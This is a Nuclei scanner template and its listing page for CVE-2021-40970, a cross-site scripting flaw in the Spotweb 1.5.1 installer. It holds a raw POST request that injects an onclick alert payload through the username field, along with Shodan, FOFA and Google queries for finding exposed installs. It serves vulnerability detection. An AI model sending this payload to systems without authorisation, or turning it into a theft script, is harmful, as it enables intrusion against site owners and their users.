Spotweb <= 1.5.1 - Cross Site Scripting

ID: CVE-2021-40970

Severity: medium

Author: theamanrawat

Tags: cve2021,cve,xss,spotweb,spotweb_project

Description

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter.

YAML Source

id: CVE-2021-40970

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/711
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40970
    - https://github.com/spotweb/spotweb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40970
    cwe-id: CWE-79
    epss-score: 0.00152
    epss-percentile: 0.50482
    cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: spotweb_project
    product: spotweb
    shodan-query:
      - title:"SpotWeb - overview"
      - http.title:"spotweb - overview"
    fofa-query: title="spotweb - overview"
    google-query: intitle:"spotweb - overview"
  tags: cve2021,cve,xss,spotweb,spotweb_project

http:
  - raw:
      - |
        POST /install.php?page=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        settingsform[username]=pdteam'+onclick='alert(document.domain)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "onclick='alert(document.domain)"
          - "Spotweb"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a6f8aebc9bc7dd2ea457cadc091720a24a8a22c2d855c61e6b47fd84bfc5fef1022100e5ff18fde79cc121081b995a3519b1de936baaca2e327f7a168e09b4f09ccc21:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40970.yaml"

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